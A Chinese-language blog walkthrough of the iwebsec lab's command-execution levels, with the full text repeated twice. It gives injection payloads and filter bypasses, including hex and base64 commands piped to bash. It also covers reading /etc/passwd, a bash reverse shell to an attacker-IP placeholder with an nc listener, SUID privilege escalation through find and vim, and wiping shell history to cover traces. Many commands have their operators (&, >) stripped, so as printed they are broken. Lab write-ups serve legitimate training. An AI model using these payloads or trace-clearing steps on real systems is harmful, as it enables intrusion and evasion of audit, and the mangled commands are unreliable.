1. iwebsec靶场命令执行漏洞通关实战第一次接触iwebsec靶场的命令执行关卡时我花了整整三天时间才完全打通所有关卡。这个靶场设计得非常贴近真实渗透测试场景从最简单的命令注入到复杂的绕过技巧层层递进。下面我就把通关过程中积累的实战经验完整分享给大家包含12种典型命令执行漏洞的利用手法和7种主流防御方案的绕过技巧。2. 靶场环境准备与基础认知2.1 靶场环境搭建iwebsec靶场支持多种部署方式推荐使用Docker快速搭建docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec启动后访问http://localhost即可看到包含命令执行在内的多个漏洞模块。如果遇到端口冲突可以修改-p参数为其他端口如8080:80。注意实际渗透测试中务必在授权范围内进行禁止对非授权目标使用这些技术2.2 命令执行漏洞本质命令执行漏洞的本质是应用程序将用户输入作为系统命令的一部分执行。与SQL注入不同它直接操作的是操作系统层面的命令。常见触发场景包括调用系统命令的函数如PHP的system()、exec()网络服务调用脚本处理请求管理后台执行维护操作3. 基础命令注入手法3.1 简单命令拼接在存在漏洞的输入框尝试注入127.0.0.1 whoami这里利用逻辑运算符当前面的ping命令执行成功后继续执行后面的whoami。类似的操作符还有|管道符前命令输出作为后命令输入;顺序执行符无论前命令是否成功都执行后续命令||前命令失败才执行后命令3.2 命令替换技巧当直接命令被过滤时可以尝试$(whoami)或whoami这两种形式会将命令执行结果替换到原命令中。我在实际测试中发现很多初级防护方案会漏防这种替换语法。4. 中级绕过技术4.1 空格绕过当空格被过滤时替代方案cat/etc/passwd {cat,/etc/passwd}实测发现第二种方式成功率更高因为大括号在Linux中本身就是合法语法。4.2 关键词绕过对于被过滤的cat、ls等命令使用通配符c?t、l?反斜杠转义c\at变量拼接ac;bat;$a$b /etc/passwd4.3 编码绕过技巧尝试不同编码方式Hex编码echo -e \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64Base64编码echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash5. 高级利用链构建5.1 反弹Shell实战当获得命令执行权限后建立持久化连接bash -i /dev/tcp/攻击机IP/4444 01需要提前在攻击机用nc监听nc -lvp 44445.2 权限提升技巧查看具有SUID权限的程序find / -perm -4000 2/dev/null常见提权路径利用find执行命令find . -exec /bin/sh \;通过vim提权vim -c :!/bin/sh6. 防御方案与绕过6.1 常见防御手段企业级防护通常采用输入白名单验证命令黑名单过滤执行上下文沙箱系统调用监控6.2 针对性绕过案例对于黑名单过滤/bin/bash的情况/bin//bash /bin/?sh /???/??sh这种通配符方式能绕过大多数简单正则匹配。7. 实战问题排查记录7.1 典型错误场景命令执行但无回显尝试将输出重定向到web目录whoami /var/www/html/result.txt权限不足尝试写入/tmp目录echo test /tmp/testfile7.2 日志清理技巧操作完成后记得清理痕迹history -c rm ~/.bash_history但要注意这些操作本身也会被审计日志记录。8. 靶场通关经验总结通过iwebsec靶场的系统训练我整理出命令执行漏洞的四个关键检测维度注入点识别输入参数是否直接拼接命令上下文分析当前执行权限和环境限制过滤规则探测尝试各种绕过手法利用链构建从命令执行到系统控制在实际渗透测试项目中遇到命令执行漏洞不要急于执行高危操作应该先通过id、uname -a等命令收集系统信息再制定针对性的利用方案。对于防御方来说除了过滤危险字符外更应该采用参数化调用的方式替代直接命令拼接。
1. iwebsec靶场命令执行漏洞通关实战第一次接触iwebsec靶场的命令执行关卡时我花了整整三天时间才完全打通所有关卡。这个靶场设计得非常贴近真实渗透测试场景从最简单的命令注入到复杂的绕过技巧层层递进。下面我就把通关过程中积累的实战经验完整分享给大家包含12种典型命令执行漏洞的利用手法和7种主流防御方案的绕过技巧。2. 靶场环境准备与基础认知2.1 靶场环境搭建iwebsec靶场支持多种部署方式推荐使用Docker快速搭建docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec启动后访问http://localhost即可看到包含命令执行在内的多个漏洞模块。如果遇到端口冲突可以修改-p参数为其他端口如8080:80。注意实际渗透测试中务必在授权范围内进行禁止对非授权目标使用这些技术2.2 命令执行漏洞本质命令执行漏洞的本质是应用程序将用户输入作为系统命令的一部分执行。与SQL注入不同它直接操作的是操作系统层面的命令。常见触发场景包括调用系统命令的函数如PHP的system()、exec()网络服务调用脚本处理请求管理后台执行维护操作3. 基础命令注入手法3.1 简单命令拼接在存在漏洞的输入框尝试注入127.0.0.1 whoami这里利用逻辑运算符当前面的ping命令执行成功后继续执行后面的whoami。类似的操作符还有|管道符前命令输出作为后命令输入;顺序执行符无论前命令是否成功都执行后续命令||前命令失败才执行后命令3.2 命令替换技巧当直接命令被过滤时可以尝试$(whoami)或whoami这两种形式会将命令执行结果替换到原命令中。我在实际测试中发现很多初级防护方案会漏防这种替换语法。4. 中级绕过技术4.1 空格绕过当空格被过滤时替代方案cat/etc/passwd {cat,/etc/passwd}实测发现第二种方式成功率更高因为大括号在Linux中本身就是合法语法。4.2 关键词绕过对于被过滤的cat、ls等命令使用通配符c?t、l?反斜杠转义c\at变量拼接ac;bat;$a$b /etc/passwd4.3 编码绕过技巧尝试不同编码方式Hex编码echo -e \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64Base64编码echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash5. 高级利用链构建5.1 反弹Shell实战当获得命令执行权限后建立持久化连接bash -i /dev/tcp/攻击机IP/4444 01需要提前在攻击机用nc监听nc -lvp 44445.2 权限提升技巧查看具有SUID权限的程序find / -perm -4000 2/dev/null常见提权路径利用find执行命令find . -exec /bin/sh \;通过vim提权vim -c :!/bin/sh6. 防御方案与绕过6.1 常见防御手段企业级防护通常采用输入白名单验证命令黑名单过滤执行上下文沙箱系统调用监控6.2 针对性绕过案例对于黑名单过滤/bin/bash的情况/bin//bash /bin/?sh /???/??sh这种通配符方式能绕过大多数简单正则匹配。7. 实战问题排查记录7.1 典型错误场景命令执行但无回显尝试将输出重定向到web目录whoami /var/www/html/result.txt权限不足尝试写入/tmp目录echo test /tmp/testfile7.2 日志清理技巧操作完成后记得清理痕迹history -c rm ~/.bash_history但要注意这些操作本身也会被审计日志记录。8. 靶场通关经验总结通过iwebsec靶场的系统训练我整理出命令执行漏洞的四个关键检测维度注入点识别输入参数是否直接拼接命令上下文分析当前执行权限和环境限制过滤规则探测尝试各种绕过手法利用链构建从命令执行到系统控制在实际渗透测试项目中遇到命令执行漏洞不要急于执行高危操作应该先通过id、uname -a等命令收集系统信息再制定针对性的利用方案。对于防御方来说除了过滤危险字符外更应该采用参数化调用的方式替代直接命令拼接。
)
